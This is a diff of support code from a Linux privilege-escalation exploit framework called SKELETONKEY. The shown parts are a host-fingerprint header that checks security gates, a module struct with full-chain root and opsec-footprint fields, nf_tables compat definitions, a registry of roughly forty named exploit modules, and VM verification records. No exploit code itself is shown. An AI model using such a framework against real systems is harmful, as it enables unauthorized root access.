h->distro_id[0] ? h->distro_id : "?",
|
||||
h->distro_version_id[0] ? h->distro_version_id : "?");
|
||||
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
|
||||
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
|
||||
h->unprivileged_userns_allowed ? "yes" : "no",
|
||||
h->apparmor_restrict_userns ? "on" : "off",
|
||||
h->unprivileged_bpf_disabled ? "yes" : "no",
|
||||
h->kpti_enabled ? "on" : "off",
|
||||
h->kernel_lockdown_active ? "on" : "off",
|
||||
h->selinux_enforcing ? "on" : "off",
|
||||
h->yama_ptrace_restricted ? "yes" : "no");
|
||||
if (h->sudo_version[0] || h->polkit_version[0])
|
||||
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
|
||||
h->sudo_version[0] ? h->sudo_version : "-",
|
||||
h->polkit_version[0] ? h->polkit_version : "-");
|
||||
}
|
||||
+142
@@ -0,0 +1,142 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint
|
||||
*
|
||||
* Populated once at startup, before any module's detect() runs. Every
|
||||
* module receives a stable pointer via skeletonkey_ctx.host and can
|
||||
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
|
||||
* forking another userns probe.
|
||||
*
|
||||
* The struct is deliberately POD (no heap pointers, fixed-size
|
||||
* arrays) so lifetime reasoning is trivial. A single static instance
|
||||
* lives in core/host.c; skeletonkey_host_get() returns the same
|
||||
* pointer on every call. The first call probes; subsequent calls
|
||||
* are O(1) lookups.
|
||||
*
|
||||
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
|
||||
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
|
||||
* "?" defaults. Probing is best-effort: a missing sysctl never fails
|
||||
* the call, just leaves the corresponding bool false.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_HOST_H
|
||||
#define SKELETONKEY_HOST_H
|
||||
|
||||
#include "kernel_range.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct skeletonkey_host {
|
||||
/* ── identity ─────────────────────────────────────────────── */
|
||||
|
||||
struct kernel_version kernel; /* uname.release parsed */
|
||||
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
|
||||
char nodename[64]; /* uname.nodename (for log lines) */
|
||||
|
||||
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
|
||||
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
|
||||
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
|
||||
|
||||
/* ── process state ─────────────────────────────────────────── */
|
||||
|
||||
uid_t euid; /* geteuid() */
|
||||
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
|
||||
gid_t egid; /* getegid() */
|
||||
char username[64]; /* getpwuid(euid)->pw_name or "" */
|
||||
bool is_root; /* euid == 0 */
|
||||
bool is_ssh_session; /* SSH_CONNECTION env var set */
|
||||
|
||||
/* ── platform family ───────────────────────────────────────── */
|
||||
|
||||
bool is_linux; /* compiled / running on Linux */
|
||||
bool is_debian_family; /* /etc/debian_version exists */
|
||||
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
|
||||
bool is_arch_family; /* /etc/arch-release */
|
||||
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
|
||||
|
||||
/* ── capability / gate flags (Linux) ──────────────────────── */
|
||||
|
||||
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
char meltdown_mitigation[64]; /* raw first line of
|
||||
* /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* — empty string if unreadable. Modules that need
|
||||
* to distinguish "Not affected" (CPU immune) from
|
||||
* "Mitigation: PTI" / "Vulnerable" can read this. */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
/* ── system services ──────────────────────────────────────── */
|
||||
|
||||
bool has_systemd; /* /run/systemd/system exists */
|
||||
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
|
||||
|
||||
/* ── userspace component versions ─────────────────────────
|
||||
* Parsed once at startup via popen() of the relevant binary's
|
||||
* --version output. Empty string ("") means "tool not installed
|
||||
* or version parse failed" — modules should treat that as
|
||||
* PRECOND_FAIL (no exploit target). The exact format mirrors
|
||||
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
|
||||
* 0.105`, …); modules do their own range parsing. */
|
||||
char sudo_version[64]; /* "1.9.13p1" or "" */
|
||||
char polkit_version[64]; /* "0.105" or "126" or "" */
|
||||
|
||||
/* Informational: the SKELETONKEY component that populated this
|
||||
* snapshot (for log/JSON output). */
|
||||
const char *probe_source;
|
||||
};
|
||||
|
||||
/* Get the host fingerprint. Returns a stable, non-null pointer that
|
||||
* lives for the process lifetime. Probes happen lazily on the first
|
||||
* call (~50ms; dominated by the userns fork-probe), are cached, and
|
||||
* subsequent calls are free.
|
||||
*
|
||||
* Probing is best-effort: missing files / unsupported sysctls leave
|
||||
* the corresponding bool false. The function does not fail. */
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void);
|
||||
|
||||
/* Print a two-line "host fingerprint" banner to stderr suitable for
|
||||
* --auto / --scan verbose output. Silent on JSON mode. */
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
|
||||
|
||||
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
|
||||
* false if h is NULL or its kernel version was never populated (major
|
||||
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
|
||||
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
|
||||
* and one place to get the comparison right.
|
||||
*
|
||||
* Examples:
|
||||
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
|
||||
* return SKELETONKEY_OK;
|
||||
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
|
||||
* return SKELETONKEY_OK;
|
||||
*/
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch);
|
||||
|
||||
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
|
||||
* gates where the simple `kernel_range_is_patched` backport model
|
||||
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
|
||||
* in W.Z, or a per-module "vulnerable only on these specific kernel
|
||||
* lines" check.
|
||||
*
|
||||
* Equivalent to:
|
||||
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
|
||||
*
|
||||
* For "predates the bug" alone use host_kernel_at_least directly; the
|
||||
* `in_range` form is for the bounded interval case.
|
||||
*
|
||||
* Example:
|
||||
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
|
||||
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
|
||||
* // introduction/fix dates (ignoring stable backports)
|
||||
*/
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_major, int lo_minor, int lo_patch,
|
||||
int hi_major, int hi_minor, int hi_patch);
|
||||
|
||||
#endif /* SKELETONKEY_HOST_H */
|
||||
+53
-3
@@ -40,9 +40,12 @@ typedef enum {
|
||||
SKELETONKEY_EXPLOIT_OK = 5,
|
||||
} skeletonkey_result_t;
|
||||
|
||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
||||
* now; will grow as modules need shared state (host fingerprint,
|
||||
* leaked kbase, etc.). */
|
||||
/* Per-invocation context passed to module callbacks. The host
|
||||
* fingerprint (kernel / distro / capability gates / service presence)
|
||||
* is populated once at startup by core/host.c and handed to every
|
||||
* module callback here — see core/host.h. */
|
||||
struct skeletonkey_host; /* forward decl; full def in core/host.h */
|
||||
|
||||
struct skeletonkey_ctx {
|
||||
bool no_color; /* --no-color */
|
||||
bool json; /* --json (machine-readable output) */
|
||||
@@ -50,6 +53,13 @@ struct skeletonkey_ctx {
|
||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||
bool authorized; /* user typed --i-know on exploit */
|
||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
|
||||
|
||||
/* Host fingerprint — see core/host.h. Stable pointer, populated
|
||||
* once by main() before any module callback runs. Modules that
|
||||
* want to consult it #include "../../core/host.h". May be NULL
|
||||
* only in degenerate test contexts; main() always sets it. */
|
||||
const struct skeletonkey_host *host;
|
||||
};
|
||||
|
||||
struct skeletonkey_module {
|
||||
@@ -94,6 +104,46 @@ struct skeletonkey_module {
|
||||
const char *detect_sigma; /* sigma YAML content */
|
||||
const char *detect_yara; /* yara rules content */
|
||||
const char *detect_falco; /* falco rules content */
|
||||
|
||||
/* Operational-security notes — telemetry footprint THIS specific
|
||||
* exploit leaves behind. The inverse of detect_auditd/yara/falco
|
||||
* above (the rules catch what these notes describe). Free-form
|
||||
* prose, conventionally listing: dmesg lines triggered, auditd
|
||||
* events, file artifacts created/modified, persistence side-
|
||||
* effects, recommended cleanup. Per-module (not per-CVE) because
|
||||
* different exploits for the same bug can leave different
|
||||
* footprints. NULL if no analysis written yet.
|
||||
*
|
||||
* NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
|
||||
* (independent of exploit technique) and lives in
|
||||
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
||||
* tools/refresh-cve-metadata.py. */
|
||||
const char *opsec_notes;
|
||||
|
||||
/* Architecture support for the exploit() body. detect() works on
|
||||
* any Linux arch (it just consults ctx->host); the question this
|
||||
* field answers is: if this module says VULNERABLE, will the
|
||||
* --exploit path actually fire on aarch64 / arm64? Values:
|
||||
*
|
||||
* "any" — userspace bug or arch-agnostic kernel
|
||||
* primitive (pwnkit, sudo*, pack2theroot,
|
||||
* dirty_pipe, dirty_cow, most netfilter/fs
|
||||
* bugs that use msg_msg sprays + structural
|
||||
* escapes).
|
||||
* "x86_64" — strictly x86-only (entrybleed needs
|
||||
* prefetchnta + KPTI, which doesn't apply
|
||||
* to ARM's TTBR_EL0/EL1 model).
|
||||
* "x86_64+unverified-arm64" — exploit body likely works on
|
||||
* arm64 but hasn't been verified on a real
|
||||
* arm64 host yet (e.g. copy_fail_family
|
||||
* assumes some x86_64 struct offsets;
|
||||
* --full-chain finisher uses x86_64-style
|
||||
* kernel ROP gadgets).
|
||||
*
|
||||
* NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
|
||||
* a future arm64-on-Vagrant sweep will fill these in). Surfaced
|
||||
* in --list (ARCH column) and --module-info. */
|
||||
const char *arch_support;
|
||||
};
|
||||
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
/*
|
||||
* SKELETONKEY — nf_tables uapi compat shims.
|
||||
*
|
||||
* Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
|
||||
* the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
|
||||
* or chain flag the exploits use. The numeric values are stable kernel
|
||||
* ABI — the target kernel understands them at runtime regardless of
|
||||
* what was present in the build host's uapi headers. Conditionally
|
||||
* define them here so modules compile against any reasonable header set.
|
||||
*
|
||||
* Sources for the numeric values:
|
||||
* include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
|
||||
* version that introduced each enum.
|
||||
*
|
||||
* Include AFTER <linux/netfilter/nf_tables.h>.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_NFT_COMPAT_H
|
||||
#define SKELETONKEY_NFT_COMPAT_H
|
||||
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
/* ── chain flags ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
|
||||
* nft_fwd_dup_cve_2022_25636. */
|
||||
#ifndef NFT_CHAIN_HW_OFFLOAD
|
||||
#define NFT_CHAIN_HW_OFFLOAD 0x2
|
||||
#endif
|
||||
|
||||
/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
|
||||
#ifndef NFT_CHAIN_BINDING
|
||||
#define NFT_CHAIN_BINDING 0x4
|
||||
#endif
|
||||
|
||||
/* ── chain attrs ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
|
||||
* 4.15-era uapi lacks it. Position 10 in the enum
|
||||
* (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
|
||||
#ifndef NFTA_CHAIN_FLAGS
|
||||
#define NFTA_CHAIN_FLAGS 10
|
||||
#endif
|
||||
|
||||
/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
|
||||
#ifndef NFTA_CHAIN_ID
|
||||
#define NFTA_CHAIN_ID 11
|
||||
#endif
|
||||
|
||||
/* ── verdict attrs ──────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
|
||||
* nf_tables_cve_2024_1086. */
|
||||
#ifndef NFTA_VERDICT_CHAIN_ID
|
||||
#define NFTA_VERDICT_CHAIN_ID 3 /* CODE=1, CHAIN=2, CHAIN_ID=3 */
|
||||
#endif
|
||||
|
||||
/* ── set attrs ──────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
|
||||
#ifndef NFTA_SET_DESC_CONCAT
|
||||
#define NFTA_SET_DESC_CONCAT 2 /* DESC_SIZE=1, DESC_CONCAT=2 */
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
|
||||
#ifndef NFTA_SET_EXPR
|
||||
#define NFTA_SET_EXPR 13
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_EXPRESSIONS
|
||||
#define NFTA_SET_EXPRESSIONS 14
|
||||
#endif
|
||||
|
||||
/* ── set-element attrs ──────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
|
||||
#ifndef NFTA_SET_ELEM_KEY_END
|
||||
#define NFTA_SET_ELEM_KEY_END 7
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_ELEM_EXPRESSIONS
|
||||
#define NFTA_SET_ELEM_EXPRESSIONS 11
|
||||
#endif
|
||||
|
||||
/* ── data attrs (newer additions tend to be backported uneven) ──── */
|
||||
|
||||
/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
|
||||
* here only as a tripwire if a very old header somehow lacks them. */
|
||||
#ifndef NFTA_DATA_VERDICT
|
||||
#define NFTA_DATA_VERDICT 2
|
||||
#endif
|
||||
#ifndef NFTA_DATA_VALUE
|
||||
#define NFTA_DATA_VALUE 1
|
||||
#endif
|
||||
|
||||
#endif /* SKELETONKEY_NFT_COMPAT_H */
|
||||
@@ -3,6 +3,11 @@
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
*
|
||||
* The canonical "register every family" enumeration lives in
|
||||
* registry_all.c — kept separate so this file links into the
|
||||
* standalone kernel_range unit-test binary without pulling in every
|
||||
* module's symbol.
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
@@ -40,5 +40,33 @@ void skeletonkey_register_nft_set_uaf(void);
|
||||
void skeletonkey_register_af_unix_gc(void);
|
||||
void skeletonkey_register_nft_fwd_dup(void);
|
||||
void skeletonkey_register_nft_payload(void);
|
||||
void skeletonkey_register_sudo_samedit(void);
|
||||
void skeletonkey_register_sequoia(void);
|
||||
void skeletonkey_register_sudoedit_editor(void);
|
||||
void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
void skeletonkey_register_sudo_chwoot(void);
|
||||
void skeletonkey_register_udisks_libblockdev(void);
|
||||
void skeletonkey_register_pintheft(void);
|
||||
void skeletonkey_register_mutagen_astronomy(void);
|
||||
void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
void skeletonkey_register_ptrace_pidfd(void);
|
||||
void skeletonkey_register_sudo_host(void);
|
||||
void skeletonkey_register_cifswitch(void);
|
||||
void skeletonkey_register_nft_catchall(void);
|
||||
void skeletonkey_register_bad_epoll(void);
|
||||
void skeletonkey_register_ghostlock(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
* in sync — adding a new module is one register_* declaration here
|
||||
* and one call inside skeletonkey_register_all_modules() in
|
||||
* core/registry.c (the test harness picks it up automatically). */
|
||||
void skeletonkey_register_all_modules(void);
|
||||
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
/*
|
||||
* SKELETONKEY — canonical "register every module family" enumeration.
|
||||
*
|
||||
* Kept in its own translation unit so registry.c stays standalone:
|
||||
* the kernel_range unit-test binary links registry.c (for the basic
|
||||
* register / count / find API) without pulling in every module's
|
||||
* symbol. The main binary and detect-integration test link this
|
||||
* file too and get the full lineup.
|
||||
*
|
||||
* Adding a new module is one new register_<family>() declaration in
|
||||
* registry.h plus one call below — the integration test picks it up
|
||||
* via skeletonkey_register_all_modules() in its main().
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
void skeletonkey_register_all_modules(void)
|
||||
{
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
skeletonkey_register_sudo_chwoot();
|
||||
skeletonkey_register_udisks_libblockdev();
|
||||
skeletonkey_register_pintheft();
|
||||
skeletonkey_register_mutagen_astronomy();
|
||||
skeletonkey_register_sudo_runas_neg1();
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
skeletonkey_register_ptrace_pidfd();
|
||||
skeletonkey_register_sudo_host();
|
||||
skeletonkey_register_cifswitch();
|
||||
skeletonkey_register_nft_catchall();
|
||||
skeletonkey_register_bad_epoll();
|
||||
skeletonkey_register_ghostlock();
|
||||
}
|
||||
@@ -0,0 +1,329 @@
|
||||
/*
|
||||
* SKELETONKEY — verification records table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-verifications.py from
|
||||
* docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
|
||||
*
|
||||
* Source: tools/verify-vm/verify.sh appends one JSON record per
|
||||
* run; this generator dedupes to (module, vm_box, kernel, expect)
|
||||
* and keeps the latest by verified_at.
|
||||
*/
|
||||
|
||||
#include "verifications.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
const struct verification_record verifications[] = {
|
||||
{
|
||||
.module = "af_packet",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_packet2",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_unix_gc",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cgroup_release_agent",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cls_route4",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_pipe",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirtydecrypt",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.19.7-061907-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "entrybleed",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "fuse_legacy",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "netfilter_xtcompat",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nf_tables",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_fwd_dup",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_payload",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_pipapo",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_set_uaf",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs_setuid",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pack2theroot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "ptrace_traceme",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pwnkit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sequoia",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "stackrot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.10-060110-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_chwoot",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_runas_neg1",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
